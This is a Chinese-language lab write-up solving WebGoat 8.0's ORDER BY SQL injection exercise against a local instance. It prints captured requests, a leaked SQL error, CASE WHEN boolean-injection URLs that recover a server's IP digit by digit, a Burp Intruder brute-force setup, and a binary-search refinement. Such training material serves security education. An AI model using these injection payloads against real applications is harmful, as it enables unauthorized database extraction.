WebGoat SQL注入之 Order by注入解题思路
★ WebGoat 8.0
下载地址: https://github.com/WebGoat/WebGoat/wiki
WebGoat 官网及使用方法: https://github.com/WebGoat/WebGoat
★ 运行 WebGoat
执行:java -jar webgoat-server-8.0.0.M21.jar
等出现如下log即运行成功:
--- [ main] org.owasp.webgoat.StartWebGoat : Started StartWebGoat in 27.815 seconds (JVM running for 30.287)
然后,在浏览器中执行:http://127.0.0.1:8080/WebGoat
,打开WebGoat网站,注册用户后就可以使用了。
注意:http://127.0.0.1:8080/WebGoat
大小写要写对。
其他运行WebGoat的方式,请参考: https://github.com/WebGoat/WebGoat
说明: 我的运行环境是Windows中的cygwin。浏览器是Chrome。
★ Order by 注入
本文所说的 Order by注入的题目在:Injection Flaws -> SQL injection(mitigation) -> 第8页的题目。网址为:
http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/7
思路在第7页,即利用case when语法来达到sql注入。
语法:select * from users order by (case when (true) then lastname else firstname end)
需要利用的是when (true)
中的真假判断。
注意:case语句结尾要有end。
题目要求获取主机名为webgoat-prd
的服务器的IP地址,而且题目中提示了Submit 不存在SQL 注入。
此题有些类似于SQL 盲注,需要通过when (true)
中的真假来判断IP地址的每一位是多少。下面一步步来说明。
★ 通过HTTP proxy工具截获http请求
我用的是burpsuite的free版,对于这道题是够用了。
需要在Internet Options中设置代理为 127.0.0.1,端口8090(任意指定,不要与现有其他端口冲突)。
然后在Burpsuite 的Proxy中设置代理,这个网上有一大堆教程可以参考,这里暂不细写。
抓到的数据包:(按照不同的列排序)
按hostname排序:
GET /WebGoat/SqlInjection/servers?column=hostname HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close
按ip排序
GET /WebGoat/SqlInjection/servers?column=ip HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close
按mac排序
GET /WebGoat/SqlInjection/servers?column=mac HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close
按status排序
GET /WebGoat/SqlInjection/servers?column=status HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close
我们自然的联想到 column参数的值就是 order by的参数。
正确的查询语句,可以查询到内容。例如,http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=ip 的结果为:
[ {
"id" : "2",
"hostname" : "webgoat-tst",
"ip" : "192.168.2.1",
"mac" : "EE:FF:33:44:AB:CD",
"status" : "online",
"description" : "Test server"
}, {
"id" : "3",
"hostname" : "webgoat-acc",
"ip" : "192.168.3.3",
"mac" : "EF:12:FE:34:AA:CC",
"status" : "offline",
"description" : "Acceptance server"
}, {
"id" : "1",
"hostname" : "webgoat-dev",
"ip" : "192.168.4.0",
"mac" : "AA:BB:11:22:CC:DD",
"status" : "online",
"description" : "Development server"
}, {
"id" : "4",
"hostname" : "webgoat-pre-prod",
"ip" : "192.168.6.4",
"mac" : "EF:12:FE:34:AA:CC",
"status" : "offline",
"description" : "Pre-production server"
} ]
如果不确定的话,我们可以传一个任意值试试,例如,使用http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=test
访问,浏览器返回的结果为:
Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.
Tue Sep 18 22:17:08 GMT+08:00 2018
There was an unexpected error (type=Internal Server Error, status=500).
user lacks privilege or object not found: TEST in statement [select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test]
可以看到,这里的sql语句为: select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test
,我们传给column的值test
最终是order by的参数。
这个sql语句也给出了很多信息(所以此题还算不上SQL盲注),例如列名有 id, hostname, ip, mac, status, description, 表名为servers ,并且查询的是status不为’out of order’ 的信息,这也可以让我们推测到,主机名为webgoat-prd
的服务器的status是’out of order’ ,所以正常查询是查询不到主机名为webgoat-prd
的服务器的。
★ 关键信息: select * from users order by (case when (true) then lastname else firstname)
这是WebGoat的重要提示,而我们要利用的恰恰是when的条件when (true/false)
。
首先,先把完整的sql语句写出来(根据上面的错误提示):
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by <注入点>
<注入点>
采用case when,所以整个sql语句为:
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case when (true/false) then hostname else id end
即,如果when中的条件为true,按hostname排序,否则按id排序。
一定要注意:then后面和else后面的列名是合法的,否则sql语句会出错。
所以,结果如果是按hostname排序,就知道when的条件为true,如果是按id排序,那么when的条件为false。这点要记清楚。
★ 构造 when 的条件
直截了当,判断主机名为webgoat-prd
的服务器的IP地址的每一位是多少。
获取主机名为webgoat-prd
的服务器的IP地址:select ip from servers where hostname='webgoat-prd'
判断第一位是不是1:substring((select ip from servers where hostname='webgoat-prd'),1,1)=1
然后将这个判断放到when的条件中,整个URL为:
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)
在浏览器中打开,可以看到结果是按hostname排序的,说明IP地址的第一位是1.
然后就可以一位一位的去试了。手动去试比较繁琐,可以使用Burpsuite的Intruder来暴力破解。
★ Burpsuite Intruder 暴力破解
Positions配置如下:
第一个payload是IP的下标,从1开始的,一定要注意是从1开始。下标最大是15(4个三位数加上3个点)。
第二个payload是0~9的值,这里没有判断点号,最后只要取按hostname排序的response就知道那些正确的位是多少了。
注意: 需要将空格写成%20,将单引号写成%27,否则Intruder中跑不过。切记切记。
最好将输入写到浏览器中执行,然后去Burpsuite的Proxy中的HTTP history中看看结果。然后将HTTP请求拷贝过来。这样可以减少出错的机会。
GET /WebGoat/SqlInjection/servers?column=(case%20when%20((select%20substring(ip,§1§,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=§2§)%20then%20hostname%20else%20id%20end) HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=DC012A04A1BADE2548747AC22CBE18F9
Connection: close
在正确的response 的comment列写上说明,好过滤。例如:写上yes,然后选中『Show only commented items』,如图:
最终结果如下:
可以看到IP地址为 104.130.219.202
Congratulations!
★ SQL语句
when条件为true的所有SQL语句为:(在浏览器中使用,切不可直接拷贝到Burpsuite中)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,2,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,3,1) from servers where hostname='webgoat-prd')=4) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,4,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,5,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,6,1) from servers where hostname='webgoat-prd')=3) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,7,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,8,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,9,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,10,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,11,1) from servers where hostname='webgoat-prd')=9) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,12,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,13,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,14,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,15,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
需要说明的是,(select substring(ip,1,1) from servers where hostname='webgoat-prd')=1
与 substring((select ip from servers where hostname = 'webgoat-prd'), 1,1)=1
是等价的。
所以上面的SQL语句采用了2种写法。
即这两种写法都是可以的:(在Chrome浏览器上测试通过)
写法一:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname = ‘webgoat-prd’), 1,1)=1) then hostname else id end)
写法二:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname=‘webgoat-prd’)=1) then hostname else id end)
★ 更进一步
暴力破解使用的HTTP请求太多了,有没有办法在减少HTTP请求的情况下,得到IP地址的每一位?
答案是可以,通过二分搜索的方式可以减少很多无用的HTTP请求。IP地址的每一位取值为0到9. 以IP地址的第一位为例,有效值范围为0到9,第一次可以跟(0+9)/2=4 (取整)比较。
(select substring(ip,1,1) from servers where hostname='webgoat-prd')>4
根据排序的结果,可以知道条件为true还是false。我们已经知道了IP地址第一位为1,即使我们不知道IP地址为1,通过数据是按id排序的,我们也可以知道sql语句的条件是false。比较结果为false,那么有效值范围缩小为0到4.
再跟(0+4)/2=2比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>2
,结果为false(因为数据以id排序),有效值范围为0到2。
再跟(0+2)/2=1比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>1
结果为false,有效值范围为0和1 。
再跟(0+1)/2= 0比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>0
,结果为true,即以hostname排序了。有效值只剩下1了。所以知道IP地址的第一位是1了。
对于IP地址的第一位,采用4次HTTP请求就得到了,不用比较10次了。
IP地址的其他位,以此类推。
整个过程,可以写成脚本,方便以后复用。
如果有任何疑问,欢迎留言讨论。
(全文完)
相关系列文章:
WebGoat SQL注入之 Order by注入解题思路
WebGoat SQL注入解题思路
WebGoat SQL盲注 解题思路
WebGoat 8.0 XXE注入 解题思路
更多推荐
所有评论(0)